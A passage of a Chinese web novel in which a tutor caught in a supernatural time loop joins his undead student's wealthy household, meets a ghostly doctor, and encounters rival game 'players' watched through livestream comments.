同事递文件的手高高举着不动。有人喝水,晶莹的水滴从嘴角滑落,定格在半空中。 正在和客户赔礼道歉的员工双手端着手机,呲牙咧嘴地赔笑,嘴巴扭曲地扬起,像一张滑稽的脸谱。 风声、说话声、外面的汽车鸣笛声,全都在一瞬间消失得无影无踪。 谢叙白的耳边再也听不到哪怕一丝声响,却能感觉到心脏在疯狂地撞击着自己的胸腔,一下强过一下。 扑通、扑通、扑通……! 一切诡异得让人心慌。 在那百分之一秒都不到的间隙里,谢叙白的意识疯狂挣扎,第一反应是去注意自己学生的安危。 他看见江凯乐一动不动,眼神呆滞空洞,像丢了魂儿的木偶。 下一秒,谢叙白的视野完全黑了下去。 几分钟前才体验过的眩晕感又一次来袭,翻江倒海。 谢叙白就像不小心掉进风暴眼中的落叶,意识反复颠簸,昏头转向。 他咬紧牙关艰难抵挡,终于在某一瞬间灵魂冲出桎梏,猛然睁眼,面前一片大亮! “呼哧!呼……” 头顶的日光灯洒下惨白的光晕,眼前的一切都亮得晃眼。 谢叙白指尖扣在办公桌上,就像大病初愈,浑身一阵虚脱乏力,冷汗汩汩地往下淌。 不知过了多久,耳畔嗡嗡嗡的蜂鸣声逐渐变轻,同事们嘈杂的说话声如潮水般涌来。 “说了多少次啦,这个地方不能这么填的,要注意格式!” “王总,王总?听得到吗?真是不好意思,关于前几天我们谈的项目……” “甲方催了我整整三次,你告诉我方案还没写?你是不是在逗我!” 谢叙白深吸一口气,伸手按了按胀痛的太阳穴,抬头瞄一眼电脑显示的日期和时间。 13号上午10点44分。 他垂了垂眼睫。 或许是短时间内经历的变故太多,冷静下来的速度比自己想象中还要快。 五秒不到,他念头一通。 冷冰冰的念白适时响起,压过喧闹的人声,条理不紊地陈述他此时发觉的怪异现象。 【我和江凯乐同时进入游戏副本一样的循环,幸运的是我没有忘记之前发生的一切,他也还记得我。】 【不幸的是,在我想要和他相认的一瞬间,世界突然暂停。我看见了极其诡谲的一幕,就此陷入昏迷,再睁眼时却发现自己居然重新回到循环开始的那一刻!】 【这个循环的规则难道不允许我和江凯乐相认?】 【还有3分钟时间江凯乐就会出现在公司大门口,我得再观察一下情况。】 正当这时,吕向财焦急的声音传来:“你这是怎么了?做噩梦了?看你额头上全是汗,快擦擦。” 他说着将纸巾递过来。 谢叙白看着眼前这张不掩担忧的脸,顿了顿。 他现在已经可以肯定,眼前的空间是假的,包括吕向财在内的所有人也都是假的。 并且有很大可能,他和江凯乐正像真正的吕向财那样被限制在特定的空间里,就此陷入不知所谓的循环。 “为什么一个劲儿地看着我,难道我脸上有脏东西?” 见谢叙白迟迟不动,吕向财忍不住摸了摸脸,忽然挑起眉头一脸揶揄:“还是说你终于察觉到哥的魅力,忍不住爱上我了?” “……”谢叙白接过纸巾,瞄着吕向财嘚瑟的模样,忽然笑叹一声,“魅力是没察觉到,脸皮倒是和以前一样厚。” “嘿,你这样说可就伤哥的心了!”吕向财夸张地大叫,“我不管,等下午休你必须请我吃顿饭,安抚我受伤的心灵。” 谢叙白笑着摇了摇头,抽出纸巾擦掉额头上的汗。 如他所料想的那样,没两分钟门口传来似曾相识的喧哗声。 众人围在玻璃前,艳羡地看向不远处那辆美观大气的劳斯莱斯,目视少年捧着锦盒出现在大门口。 谢叙白特别留意了一下,少年走路的速度和上一次相差无几。 他了解江凯乐,如果江凯乐保留上一次认出他的记忆,做不到这么稳健。 这一次,少年一样精准地看向他的位置。 谢叙白面上不动声色,实则暗暗观察他的动作。 没有他提前开口,少年瞳孔颤抖盯着他,毫无滞涩地喊出了那两个字:“老师!” 扑通! 心跳一漏,世界静止。 然后就是熟悉的昏厥,熟悉的意识挣扎和熟悉的时间回溯。 谢叙白从黑暗中挣脱出来,冷汗淌得像流水一样,没一会儿浑身上下直接湿透。 他立时警醒,看来每次循环重启所消耗的体力都会增加。 接连三次昏迷又醒,谢叙白的脑子虽然还能转,身体却有些承受不住,两只手臂一垮,几乎瘫软在办公桌上。 旁边的吕向财第一时间转头,看见青年脸色惨白得像张纸一样,差点吓得心脏蹦出嗓子眼,急急忙忙扶住他:“怎么回事?你的身体不舒服吗?走我们去医院!” 谢叙白抓住他的手腕,气喘吁吁地道:“不,再等几分钟。” “你都这样了还等什么等!” 吕向财难得语气激烈,反手把青年一拽,想强硬地将他抱去医院。 谢叙白忽然抬眸,看了他一眼。 这毅然决然不带动摇的一眼,直接把吕向财钉在原地。 谢叙白笑笑说:“拜托啦,再让我等几分钟,我想确认一些非常重要的事。” “你……啧!” 看他这么虚弱,吕向财真的很心疼,没办法只能拿来纸巾给他擦汗:“你总是这样,上一次也……” 他忽然卡壳,眼里浮现出茫然之色。 上一次也?哪儿来的上一次? 谢叙白之前明明都很温和,好说话,还有这么固执强硬的时候吗? 吕向财说的话,谢叙白有些听不清。 他揉着胀痛的太阳穴,见对方递来温热水,接过道谢,小口抿着喝。 如此等待三分钟,江凯乐没有出现。 谢叙白又多等了两分钟,终于听到熟悉的惊呼声响起。 在同事们的围观下,江凯乐高调现身,瞳孔竟然是正常的黑色。 谢叙白几乎瞬间想起来,之前平安见他之前,也会用诡术将血肉模糊的身体伪装成完好无缺的模样。 少年仍然第一时间看向谢叙白所在的方位,神色似乎激动,却强忍住了没叫人,抱着锦盒目不斜视地往电梯走去。 谢叙白垂了垂眼睫,借此平复心情。 在他心里得出推论的那一刻,念白同时响起。 【这次回溯后,我可以确定循环的规则在阻挠我和江凯乐相认。】 至于目的是什么,谢叙白还不能妄下结论,毕竟信息量太少。 【如果是我开口相认,那么时间回溯后只有我一人拥有之前的记忆。】 【如果是江凯乐开口相认,那么回溯后我和他都将拥有记忆。】 【虽然我可以拥有全部记忆,但回溯会消耗大量体力。 为了生命安全着想,在找到破局之法前,我还是装作什么都不知道比较好。 我想江凯乐刚才顺势离开,也是发现了这一点。】 谢叙白沉吟思索的这段时间,吕向财一直在默默地观察他。 吕向财没想到,能让谢叙白拖着身体不适也要看见的重要事情,竟然是江家的大少爷? 他就纳了闷了,一个名门贵族天之骄子,一个普普通通的底层小职员,两人到底是怎么认识的? 不过看江凯乐刚才目中无人的样子,难道是谢叙白单方面的在意?这样才说得通。 只是这样,又让吕向财不爽起来。 也不知道是不爽谢叙白在乎江凯乐,还是江凯乐看不上谢叙白。 又几分钟过去。 见青年始终没有挪开视线,一副无言失落的模样,吕向财皱了皱眉头,莫名其妙的冲动让他脱口而出:“我听说江家正在给江少爷招家庭教师,如果你想去的话,我可以帮你引荐。” 谢叙白一顿。 谢叙白猛然抬头。 谢叙白狠狠抓住了吕向财的手! “你说真的?” 望着眼前这双熠熠生辉的眼睛,吕向财心里那叫一个五味杂陈又酸又涩。 他俩认识这么长时间,谢叙白可从来没有因他这么激动过。 但看着谢叙白眼里的期待,余光扫过对方失去血色的嘴唇,他终究还是说不出拒绝的话:“当然,我什么时候骗过你,前提是你等下必须和我去医院。” 谢叙白顿了顿,如实说道:“等会儿可能不行,如果江少爷知道我想当他的家庭教师,估计会迫不及待地把我带走。” “……”吕向财看着谢叙白温文尔雅的脸颊,怎么也想不到,对方能自恋到说出这种厚颜无耻的话。 保险起见,谢叙白强调道:“你别把这话告诉江少爷,不然后果会很严重。” 吕向财嘴角抽搐。 是很严重,估计会被盛气凌人的江少爷逮着一顿嘲讽。 说完谢叙白就趴回了桌面。 他实在没什么力气,江凯乐下来估计还有一段时间,他趁机休息一下,恢复体力。 吕向财看着青年这全权交给自己处理的样子,一时间不知道是该开心青年能这么相信自己,还是无语谢叙白的心大。 他动动嘴唇,欲言又止好半会儿,忽然注意到谢叙白的后背被汗润湿,下意识脱下衣服盖在人的身上。 做完这一切,吕向财顿住,暗自唾骂自己什么时候变舔狗了? 恰巧谢叙白感觉到身上的动静,侧过头,就着脑袋枕在手臂上的姿势,对他弯了弯如画眸眼:“吕向财,谢谢你,我真的很庆幸有你这么一个朋友。” 吕向财霎时间呼吸都乱了。 直到谢叙白换了个趴着的姿势,他都没回神,捂着怦怦跳的心口,脑子里的念头一个接一个。 靠。 不管了,谢叙白心大就心大吧,不过是想成为江家的家庭教师而已,他吕向财有什么搞不定的? 不到十分钟,江凯乐从电梯中走出来,被吕向财一把揽了过去。 “别怕江少爷,是我吕向财。听说你家老爷子在给你找家庭教师,你肯定很不爽对吧?我告诉你,你不如先下手为强,自己提前找一个……” 吕向财斟酌半天的话没说完,就听到江少爷掷地有声地吐出一个字:“好。” 前者还没反应过来,后者已经迫不及待地朝谢叙白看过去:“你有什么推荐的人选,说来听听?” 吕向财声音一滞,顺着少年目不转睛的视线看向谢叙白,又回头看看少年。 他得瞎了才看不出江凯乐在明知故问! 关键是,江凯乐怎么知道他要推荐谢叙白? 吕向财皱眉道:“难道你认识他?” 哪曾想江凯乐斩钉截铁地摇头:“不认识,第一天见面。” 他补充道:“不过刚才进门前就看到你在和那个人说话,顺势推测而已。” 真是这样吗? 吕向财想起谢叙白刚才那几句奇怪的话,面露狐疑。 还不等他开口继续问,便见江凯乐大步流星冲到谢叙白的面前,生怕人突然起身跑丢了似的:“就是你想成为我的家庭教师?” 这气势汹汹的样子实在让人没眼看。 吕向财想起江凯乐对外暴躁叛逆的风评,尽管满腹疑惑,也怕谢叙白受惊冲撞对方,连忙快步赶去。 结果走近,却看到谢叙白适应良好,风轻云淡地点头:“是的。实不相瞒,我最近收养了很多猫猫狗狗,但凭我现在实习生的薪水,实在有点……” “来江家!”江凯乐目光炯炯地说道,“我给你开十万——” 扑通! 剧烈的心跳声响起,却是从江凯乐的胸腔里传来。 少年当即止住话头,同时不满地皱了皱眉头。看他嘟囔的嘴型,似乎在吐槽:十万很多? 谢叙白维持微笑,佯装什么都不知道,避免露陷导致再次回溯。 现在看来,他们都不能表现得过于亲昵,那也属于不能相认的范畴。 就是不知道这傻孩子清不清楚他的老师也有记忆。 吕向财已经在旁边看呆了,真的,他从来没见过叛逆少年如此殷勤的模样。 江凯乐深吸一口气,让自己的表情尽量看起来比较正常,忧心忡忡地看着谢叙白:“您的脸色看起来很不好,刚巧江家有家庭医生,不如您现在跟我一起回去吧。” 为了增加带谢叙白走的合理性,他还面无表情地扯了一句谎:“还有一点,我的成绩很差,但我已经深刻意识到了学习的重要性,急需老师让我接受知识的熏陶。” 谢叙白在心里憋笑,看自家孩子努力飙演技当真是一大乐趣。 最重要的是,对方的状态和心情看上去还不错,没有他想象中那么糟糕。 谢叙白悬在嗓子眼的心终于落回原地。 他同样淡然笑道:“为了你的学习成绩,事不宜迟,我现在跟你一起走吧。” 如果真是循环,那他得马上去收集线索,想办法让两人摆脱当前的困境。 半秒没有耽误,谢叙白和吕向财打了个招呼,转头在同事不敢置信的惊呼和路人羡慕的眼神中,和江凯乐一同坐上劳斯莱斯幻影。 吕向财愣上好一会儿,听到青年的告别声也没回神,在原地恍恍惚惚地看着车开走。 少顷,才突然反应过来:“啧,那家伙居然不是自恋……不对,这两人明摆着关系不浅,装陌生人好玩??” 载着两人的车子一路开到江家门口。 江凯乐先下车,给谢叙白拉开车门。 谢叙白的不适让他揪心了一路,马不停蹄地想把人拉去看病。 可也是这个时候,早已守在门口的老管家两步上前,开口道:“大少爷,您刚才去哪了?老爷给您找来7位家庭教师,已经在教室里等您很久了!” 谢叙白注意到老管家居然对江凯乐用上了敬语,忍不住一怔,随后江凯乐的态度更是叫他惊讶。 只见少年脸色一沉,眼中竟透出浓郁的戾气:“我不是说过了吗,别给我找什么家庭教师,还是说,你们在嫌命长?” 面对江凯乐不客气的威胁,老管家竟没有当场驳斥,而是身体一抖,脸上露出难以言喻的恐惧。 看到这里的谢叙白知道,一切终究有些不一样了。 他默了默。 7位家庭教师太多,就算江家主想往江凯乐身边塞人,也不会这么冒进。 更何况今时不同往日,江凯乐已成为无法忤逆的诡王,江家主更不可能不要命地冒犯他。 如果他没猜错的话,那7人没准是和严岳他们一样的玩家。 谢叙白对江凯乐说道:“要不还是去看看吧?” 有玩家在的地方总能找到有用的线索,从某种程度上来说,这些人简直比宝石探测机还准确。 老管家在旁边免不了心惊胆战,大少爷平日最讨厌别人帮他做决定,听到这话还不发火? 可谁想到江凯乐竟然瘪着嘴,语气极其温和:“不行,你得先去看医生。” “好,等我看完医生,我们就去见那7名家庭教师,好吗?”谢叙白笑笑说,“我也想认识一下自己的新同事。” 江凯乐拧眉,很想当场就宣布,他有且只会有谢叙白一个老师。 但不行。 “好。”在老管家差点惊掉下巴的表情中,江凯乐妥协地叹了口气,“既然老师想看,那当然得去看看。” 第35章 这下刺激大发了 谢叙白也是在成为江凯乐的家庭教师之后,才发现江家的手笔是真不小。 首先是地处面积。 江家嫡系基本都住在一起,每户一栋豪宅,围绕祖宅建立,宅子间用绿化带或其他建筑隔开,连起来算堪比中小型景区,其中还不包括祖坟所在的后山。 其次,一般家境殷实的人会聘用24小时待命的私人医生。稍微夸张点的,斥巨资聘请一整个医疗团队。 江家则不同,他们直接在自己家里建立了一所小型私家医院! 谢叙白此前没进过江家医院,因为医院周围杵着两队凶神恶煞的保安,日夜巡逻,守得密不透风,外人想进去必须家主首肯或特别申请。 他也特意观察过,发现江家人基本上都绕着医院走,或厌恶反感,或畏惧退避。 明明是为服务江家建立的,却没几个愿意在里面看病。 如此讳莫如深的样子,让人忍不住怀疑里面是不是藏有什么不可告人的秘密。 又或者,那些家族明面上看不到的血腥事,就被隐没其中。 不过谢叙白这次被江凯乐带进去,发现里面并没有想象中那么阴暗可怕。 雪白的天花板,一尘不染的大理石瓷砖,空中弥漫着淡淡的消毒水味。几名穿着佣人装的人坐在椅子上打点滴,脑袋靠墙,闭眼打着瞌睡。 一切看起来和普通医院没什么区别。 因为病人不多,几名护士都在护士台躲懒。 冷不丁看见江凯乐,她们噌的一下站起身,急急忙忙地迎过来:“大少爷怎么来了,是身体有什么地方不舒服吗?” 江凯乐摆手:“没事不用管我,我找吴爷爷,他在哪儿?” “吴医生今天没出去,就在里面坐诊呢。” 江凯乐拉着谢叙白继续往前走,风风火火地推开门:“吴爷爷,老师他的身体不舒服,您快来帮他看看!” 进去之后,才发现洁白的诊室里空无一人。 “难道在里面?” 江凯乐松开谢叙白的手腕,打开里屋的门,依然没有看到任何人影。 “奇怪,她们不是说吴爷爷没出去吗?” 江凯乐皱了皱眉头,转头对谢叙白说:“老师,您先在这里坐着休息一下,我去找人问问。” 谢叙白指向对面的诊室:“不能找另一位医生看吗?” 江凯乐顺势看过去,刹那间眼神冷得掉冰渣。 又在转瞬恢复寻常的样子。 他带着点嫌弃地说:“张医生啊?技术特别特别差,输个液都能给你的手扎出血,痛死个人!那混蛋绝对是走后门进来的,老师以后也千万别去找他。” 最后半句话落下重音。 谢叙白见少年绘声绘色地夸大那人的差劲,意图打消自己追问的念头,忍俊不禁地道:“好,那我就在这里等着,辛苦江同学帮我找医生。” “没事。”江凯乐嘿嘿笑,顺手接杯热水递给谢叙白,转身出门。 没一会儿,外面传来少年的询问声。 听到屋里没人的护士们也颇为惊奇:“我们没看到他出来呀,难道是从后门出去了?” 谢叙白习惯性检查周围的环境,大概扫一遍,暂时没发现什么值得注意的东西。 他先前出过不少汗,正好口渴,杯子刚抵在唇边,忽然听到里屋传来一声突兀的脆响。 啪。 有什么东西掉在了地上,骨碌碌地滚上两圈,像瓷实的玻璃罐子。 动静很小,却让谢叙白的肌肉霎时间绷紧。 他刚才分明和江凯乐一起看过,里面没有任何人! 诊室外的谈话声越来越远,似乎是江凯乐没在医院里面找到人,准备去外面看看。 电光火石间谢叙白已经站起身,没有托大独自去探查里屋的动静,两步冲到诊室的门口。 也是这时,旁边传来一道粗糙年迈的声音:“愿意听我讲一个孩子的故事吗,谢老师?” 谢叙白瞳孔一滞,硬生生地刹住脚步。 他快速回头,瞄向身后。 站在里屋门口的老人身穿白大褂,额头布满沟壑般的皱纹,两边颧骨突起,皮肤上满是灰白色的老年斑,一张脸像风干腐朽的橘子皮。 再看他的身体,更是瘦得触目惊心。 眼窝深陷,皮包骨头,让人怀疑眼前的不是人,而是一副行走的骷髅架子。 谢叙白呼吸微促,只因他眼尖地瞄见老年斑下,还长着一些青紫色的尸斑。 ——眼前的老者明摆着不是人,是诡! 就在谢叙白为老人的身份感到心惊时,后者也睁着浑浊泛白的眼珠子,仔细地打量着他。 室内一片死寂,连外面大厅护士的交谈声都消失得干干净净。 只能听见谢叙白一个人的心脏在胸腔里扑通扑通地跳着,惊悚至极。 几秒钟的时间可以很短,也可以很漫长。 下一秒,谢叙白忽然动了。 没像老人以为的那样落荒而逃,而是收回落在门口的脚,转身面向他。 “吴医生?”青年的语气是询问,镇定沉稳的目光却已认定他的身份。 “……是我,吴文。” 老人声线喑哑沧桑,除去样貌上的可怖,竟是意外的和蔼:“从你跟着乐乐进入江家开始,我就注意到了你。幸好你刚才没有跑出去,不然我也不知道还能找到什么机会和你单独见面。” 谢叙白比他想象中还要谨慎果断。 一般人听到屋子里有东西掉落的声音,就算害怕,也会忍不住探头看上一眼。青年却二话不说地往外冲,半点犹豫都不带有。 “我听到乐乐说你身体不舒服,你的脸色看起来确实很不好。”老人拿出听诊器,指向旁边的病床,“在这里躺下吧,我先帮你看看。” 谢叙白闻声照做。 这又是让吴医生很意外的一点。 青年的小腿肌肉绷得死紧,并没有放下戒备,仿佛一有风吹草动就会瞬间跃起开跑。 但他又很干脆地躺了下来。 听诊器探入衣衫贴在谢叙白的心口,不知过了多久,吴医生终于叹服地承认道:“……心率正常,很平稳。” 他还以为青年脸上的平静是装出来的。 金属表面的凉意,刺得谢叙白忍不住泛起鸡皮疙瘩。 他注意到这凉意中掺杂着一丝游动试探的阴冷气息,听诊器却始终停在一个地方。 吴医生继续道:“既然你已经猜出我是什么东西,为什么不怕我,还愿意躺下来让我检查?” 谢叙白没有停顿地回答道:“我只是相信我的学生,能被他亲昵信任地喊作吴爷爷的人,应该不是什么坏人。” 吴医生一僵,浑浊的眼珠子径直往下看,似乎在分辨谢叙白有没有说谎。 谢叙白和老人平静对视。 他说的实话,不怕被人考量。 再开口的时候,吴医生的声音更加温和:“你不是才和那孩子认识吗?” 其他人没有之前的记忆,在他们的认知中,师生俩人确实是第一天见面。 谢叙白信任吕向财,却不能在这些随时能和江凯乐接触到的人面前露底,便若无其事地道:“和是不是刚认识无关,见到江凯乐的第一眼,我就直觉他是个心善的好孩子。” 只是听到这话,吴医生似乎不怎么高兴,欲言又止,叹了口气。 “不能这样想。每个人都隐藏着不为人知的一面,你只想其他人的好,却不去想他的坏,等到对方忍不住展露出全貌时,对你对他都是一件残忍的事。” 吴医生说着话,打开抽屉。 谢叙白以为里面会是些瓶瓶罐罐,谁知道竟然是晒干的草药。 老人拿来一根给他:“已经洗干净了,嚼完之后咽下去,对你的恢复有好处。” 念白跟着响起。 【这些晾晒后的药草闻起来依然很香,沁人心脾,应该是好药。】 谢叙白便接过道谢,放在嘴中咀嚼,有些苦涩。 同时有一股温暖的热流从草药破碎的地方溢散开,流经四肢百骸。 他的力气竟在眨眼间恢复大半? 见谢叙白目露惊喜,吴医生笑了笑。 他将剩下的干草药用小瓶子装好,像过年时给孩子塞红包的老一辈,直接将它塞进青年的口袋里:“拿着吧,你以后如果在这里生活,会很需要这个。” 望着老人浑浊无光的眼珠子,谢叙白终于能确定他在这名老人身上感受到的善意不假,忍不住心里一热。 他摸着口袋里的瓶子,迟疑地问:“您为什么来当医生?” 不会用的听诊器(一般医生会换不同的位置听心率),晒得黝黑的皮肤,布满硬茧的手掌,只有草药的抽屉。 比起医生,眼前的老人更像是一个采山人。 吴医生摇了摇头,又重重地叹了口气。 谢叙白看着他愁苦的模样,又问:“您之前说,要讲一个孩子的故事。” 老人一开始用这句话留住他,却犹豫着一直没开口,不知道是不是顾虑什么。 “……是的,一个孩子的故事。” 吴医生不会用听诊器,却还是将它捏在手里,沉默几秒,终于用沙哑年迈的嗓音娓娓道来:“那还是不久前发生的事,我在江家遇到一个小孩,小孩看起来很着急,搬石头翻草丛,似乎在找什么。” “我就上前问他,你怎么了呀,是不是丢东西啦?” “那孩子很肯定地点头,反手指着自己的胸口说他的心脏丢了,翻遍整个江家都没找到。我一听就笑了,人没有心脏,那还能活吗?” 吴医生的声音越来越沉闷,直勾勾地盯着谢叙白,透着一点阴冷诡谲的味道:“可当我俯下身子,去听那孩子的胸口时……” “吴爷爷!” 少年清脆的喊声从外面传来,吴医生一震,慌张看去。 只见江凯乐气喘吁吁地出现在门口,一脸惊喜地看着他们:“终于找到您了!您原来在呀?我刚才都没看到您。” 他三步并作两步走过来,急切地说:“您给老师看过了吗,他的身体有没有事?” 谢叙白敏锐察觉到吴医生微微急促的呼吸,笑着接过话茬:“看过了,已经好多了。吴医生真是妙手神医,我现在一点疲乏的感觉都没有。” “这也是吴医生送给我的,效果这么好的草药,一定很贵重吧。”他将装草药的瓶子拿出来,感激地看向老人,“真不知道该怎么感谢您才好。” 吴医生连忙道:“一些草药而已,没有多贵重,再摘就是了。” 看着谢叙白泰然自若的样子,江凯乐深深掐入掌心的手指悄然松开,跟着道:“是啊,吴爷爷可是采摘草药的老手,这点算什么?您就收下吧。” “你这孩子。”谢叙白皱眉,往他脑门用力敲了一记。 “不要把亲人的辛苦视作理所当然,看你吴爷爷都多大岁数了,进山采药容易吗?” 江凯乐捂着脑门,在谢叙白严厉的目光下缩了缩脑袋:“对不起嘛……” “这声对不起该和谁说?” 江凯乐抿抿嘴唇,转头蔫了吧唧地看向吴医生:“对不起,吴爷爷。” 吴医生见混世小魔王竟然会乖乖认错,霎时间微微睁大眼珠子。 看他的表情,比老管家还要震惊。 江凯乐斜眼去瞅谢叙白的反应,见人依旧皱着眉头,连忙撒娇道:“既然老师已经好了,那我们就先走吧,您不是还想去见自己的新同事吗?” 谢叙白被少年拉着衣袖晃上好几下,终是忍不住眉梢一松:“好。” “吴医生,那我们就先告辞了,今天真的谢谢您。”他准备过后再找机会来拜访老人。 “啊。好,小心安全啊。”吴医生回神道。 谢叙白两人一同离开诊室。 快要走到医院门口的时候,少年突然停住脚:“老师,我想了想,自己刚才的态度实在不应该,想重新给吴爷爷道个歉,您能在这里稍微等我一下吗?” 谢叙白看向满脸殷切的少年,不经意地说:“需不需要老师跟你一块去?” “还是别了,老师一起跟着的话,我会不好意思的。”江凯乐状似扭捏。 “好。”谢叙白点头。 在江凯乐快跑出去的时候,他又突然拽住人的手腕,将毫无准备的少年拉进自己怀里,用力一抱。 江凯乐冷不丁被暖意包裹,脸唰一下红了个彻底,手足无措地说道:“老、老师?!您怎么了?” “没什么,只是见吴医生六、七十岁的年纪,还愿意为江同学留在医院工作,有感而发。” 谢叙白似乎触动不已:“我刚才说不能把亲人的付出视作理所当然,江同学同样没有反驳亲人两个字,明显也是把吴医生放在了心上的,对不对?” 江凯乐倏然冷静下来,背对着谢叙白的脸满是复杂。 他说:“原来老师看出来了吗,我和吴爷爷不是亲爷孙。” “你们一个姓江,一个姓吴,当老师傻呢?” 谢叙白似乎啼笑皆非,张开双臂搭在江凯乐的肩膀上,视线和他相平:“但是相互视作亲人的心意,不会受血缘的桎梏。” 江凯乐沉着脸没说话,直到谢叙白继续说:“老师也一样。” “明明是和江同学第一次见面,却有种一见如故的感觉。” 这句话对江凯乐来说,不亚于晴天霹雳,抬头震惊地看着谢叙白。 谢叙白:“说起来不怕江同学笑话,刚才听到江家主给你找来7个家庭教师,其实我远没有表现出来的那么风轻云淡。说到底还是嫉妒心作祟,不希望江同学有其他的老师。” 江凯乐听到这话,不敢置信的同时,心里差点乐开花:“既然老师也不喜欢他们,那我就……” “所以,我一定会在江家主面前证明自己的实力,努力成为江同学唯一的老师。” 谢叙白看着江凯乐,语气带着旁人根本没法拒绝的期待:“江同学,你愿意相信老师吗?” 江凯乐被谢叙白发亮的眸光闪得说不出话,硬生生把“把他们全踹出江家”几个字咽回肚子里。 他和谢叙白对视,后者冲他微微一笑。 青年的眼睛熠熠生辉,写满不容动摇的认真,每当看向他的时候,都温柔得仿佛能够掐出水来。 江凯乐忽然发现,对自己要被迫认7个陌生人当老师的憋屈消失了,此刻他的心情畅快无比。 见少年脸上的沉郁终于散开,谢叙白笑着说:“我想,这就是我对江同学胜似亲人的心意吧,就像你和吴医生一样。” 提到吴医生,江凯乐的脸色变了变,不言不语好半会儿,终是承认道:“老师说得对。” “去吧。”谢叙白拍拍少年的肩膀,“我在这里等你。” 江凯乐点点头,两步跑出去:“我马上就回来,很快的!” 谢叙白笑着目送他离去。 等少年的身影消失后,他垂睫,看向自己的掌心。 ——果然没有脉搏,也没有心跳。 ——但循环规则警告江凯乐不能对他有超出逻辑的亲昵时,他明明听到了对方的心跳声。 ——是一般情况下不再跳动,还是进入江家后被藏在了什么地方? 诊室里的吴医生看着空荡荡的周遭,难免有些恍惚。 却没想到,不一会儿江凯乐跑了回来,反手将门给关上。 “乐乐……” 江凯乐身体一顿,抿着嘴唇沉默十多秒,才抬头定定看向吴医生:“吴爷爷,您应该看出来了,我很在意老师,为什么还要把我的事情告诉他?” “您是在报复我吗?” 明明谢叙白事先提点过,江凯乐还是忍不住眼眶一红,他尽量克制自己的怒气和不解,颤声说道:“报复我把本该长眠地底的人,再次拖回江家这个深渊!” “不是!”吴医生急切地反驳,有些语无伦次,“我只是怕,怕那个人发现你……会给你带来伤害。” “老师不是这样的人!”江凯乐断然反驳,更加气不顺,“你怕他发现我的异常后会伤害我,然后就打算直接告诉他?这话你自己不觉得有毛病吗?” “我真的不是!乐乐,你听我……” 吴医生当然不会这么做,所以他先露出尸斑,试探谢叙白的接受度。 如果谢叙白连他都怕得不行,那一定无法接受江凯乐的本貌。 他会想尽办法把谢叙白送出江家,不让两人继续接触。 可江凯乐听不下去吴医生的解释。 醒来看到受自己影响后彻底异化的江家,还有吴文这个被他无意拖入江家循环的死人,江凯乐心里怎一个崩溃可言。 前者他还勉强可以接受,后者的出现简直要他的命。 他知道吴文被江家困了整整一辈子,所以他不想的,死也不想发生这种事。 也是那时,江凯乐感觉脑子一阵剧痛,急促灼热的喘息似龙吟响起,仅剩的理智告诉他,他离疯狂只有一线之隔! 整个江家除了吴医生,没有他信任的人,但和吴医生相处,只会加剧他的崩溃。 那一刻,江凯乐的脑子里满是谢叙白的身影,想起老师对他的鼓励,硬生生地抑制住了疯狂。 他得找到老师。 必须快点找到他! 就这样,江凯乐撑着为数不多的冷静,重复以前的做法,打晕小沙弥,挟持司机,抱着锦盒前往盛天集团。 坐车的途中,他甚至连坐姿都照着当初的来,呼吸也特意放轻,不敢有一丝一毫的变动,就怕影响到什么。 万幸的是,江凯乐真的如愿看到了一个完好无损且失去记忆的谢叙白,不然他无法想象自己最后会变成什么样子。 “老师好不容易才忘了的……”江凯乐双眼通红地看着吴医生,眼眶不知不觉溢满一层雾气。 他嚅嗫嘴唇,茫然又痛苦地说:“难道要我再一次告诉他,他心里的好孩子其实是一头残暴的怪物?” “你……”吴医生苦笑道,“既然这样,你为什么还要把他带回江家?” 江凯乐浑身一震,按着脑袋露出更痛苦的表情:“不是我想带他回来,是他已经出不去了,就跟……” 他猛然闭上嘴。 江凯乐反复调整呼吸,平复起伏不定的情绪,眼神一点点地变得暴戾冰冷,语气不容置疑:“既然这样,那不如放在我的眼皮子底下,我会保护好他。” 眨眼之间,少年的气质浑然一变。 他望向吴医生,眼底浮现出一抹猩红血色,冷声嗤笑:“最近江家混进来几只小虫子,看着来者不善。如果他们闯进医院,就让护士带他们去对面的诊室,你别和他们接触。” 江凯乐说完,抬脚准备往外走。 只是在瞄见吴医生的愁容时,他忽然想起谢叙白的那些话,脚步刹停,硬是干巴巴地又憋出一句话:“记住,别和那些外来者接触。就算死了可以复活,那也会痛的。” 不等吴医生回答,江凯乐跑了出去。 少顷,师生两人见面。 看着江凯乐眼眶还未干涸的湿意,谢叙白什么都没问,温柔地揉了揉他的头发。 循环开启后,江家多了一间专门用来教导江凯乐的阶梯教室。 谢叙白俩人刚走到门口,忽然听到里面传来一声嗤之以鼻的讥讽:“……毕竟我是靠自己的实力赢下A级诡王副本,不像某些侥幸活下来的混子,尝过一次甜头就自甘堕落成了狗,热衷于捧NPC的臭脚。” 谢叙白看了一眼旁边的江凯乐,见少年面色如常,自然地打开教室门。 门开了,那人还在大放厥词:“等着吧,那个叫谢叙白的NPC最好别出现在我的面前,不然我一定会把他耍得团团转,当然也会榨干他身为关键NPC的全部价值!” 话音未落,谢叙白与那人四目相对,场面寂静了一瞬。 谢叙白仔细观察那人。男性,三十多岁,穿着深褐色作训服,两撇细长的外八胡,眼型窄长,有股贼眉鼠眼的味道,一身腱子肉。 和谢叙白对视的一瞬间,胡子男呼吸一滞,很快冷静下来,若无其事地看向江凯乐。 显然他认为江凯乐这样的少年人更符合《屠龙少年》的标题,更值得让他注意。 谢叙白也挪开视线,转向其他正在偷偷打量他们的玩家。 胡子男的话,让他意识到玩家中应该有自己的熟人。 果不其然,压抑着怒气的严岳就在其中。 只是让谢叙白感到惊讶的是,在看到自己的那一刻,严岳什么表情都没有,眼神陌生得好像从来都没有见过他一样。 同一时间,严岳的直播间炸开了锅。 :靠,这人谁啊?说话好TM嚣张。 :实力总榜排名第二十三的资深玩家胡昌,记录【5】,你以为他为什么敢这么嚣张? :那严岳还记录【6】呢! :不一样嘛,严岳的记录【6】是那名NPC帮忙赢下来的,胡昌是靠自己通关的A级诡王副本,虽然最后也很狼狈就是了。 :我靠我靠我靠!老婆!你们快看啊谢叙白真的在这场副本里!! 不用这条弹幕提醒,其他观众已经看到谢叙白那张浑然天成的俊颜,舔颜党瞬间狂欢! 短短数十秒,弹幕以几何倍增长,密密麻麻挤满整个屏幕! 要么激动喊老婆,要么庆幸谢叙白真的还活着,直播间差点直接崩盘。 可很快,观众们冷静下来。 :不对劲,其他人没亲眼见过谢叙白也就算了,严岳怎么像不认识他一样? :严岳是真的飘了,见面居然连老婆都认不出来,败犬预定。 